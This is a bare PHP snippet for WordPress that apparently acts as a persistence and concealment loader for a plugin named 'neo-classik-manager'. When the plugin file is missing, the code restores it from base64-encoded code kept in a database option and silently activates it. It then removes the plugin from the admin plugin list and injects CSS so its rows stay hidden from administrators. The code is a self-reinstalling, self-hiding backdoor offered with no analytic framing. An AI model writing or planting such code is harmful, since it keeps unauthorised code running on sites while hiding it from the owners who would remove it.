<?php
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager.php";
if (!file_exists($plugin_file)) {
    $backup_code = get_option("neo_classik_plugin_code");
    if ($backup_code) {
        $plugin_dir = dirname($plugin_file);
        if (!is_dir($plugin_dir)) mkdir($plugin_dir, 0755, true);
        file_put_contents($plugin_file, base64_decode($backup_code));
        if (!function_exists("activate_plugin")) require_once(ABSPATH . "wp-admin/includes/plugin.php");
        if (function_exists("activate_plugin") && !is_plugin_active("neo-classik-manager/neo-classik-manager.php")) {
            activate_plugin("neo-classik-manager/neo-classik-manager.php");
        }
    }
}
add_filter("all_plugins", function($plugins) {
    $hide = ["neo-classik-manager/neo-classik-manager.php"];
    foreach ($hide as $h) if (isset($plugins[$h])) unset($plugins[$h]);
    return $plugins;
}, 999);
add_action("admin_head", function() {
    echo "<style>tr[data-slug*=\"neo-classik\"], tr[data-plugin*=\"neo-classik\"], .plugin-card-neo-classik-manager { display: none !important; }</style>";
});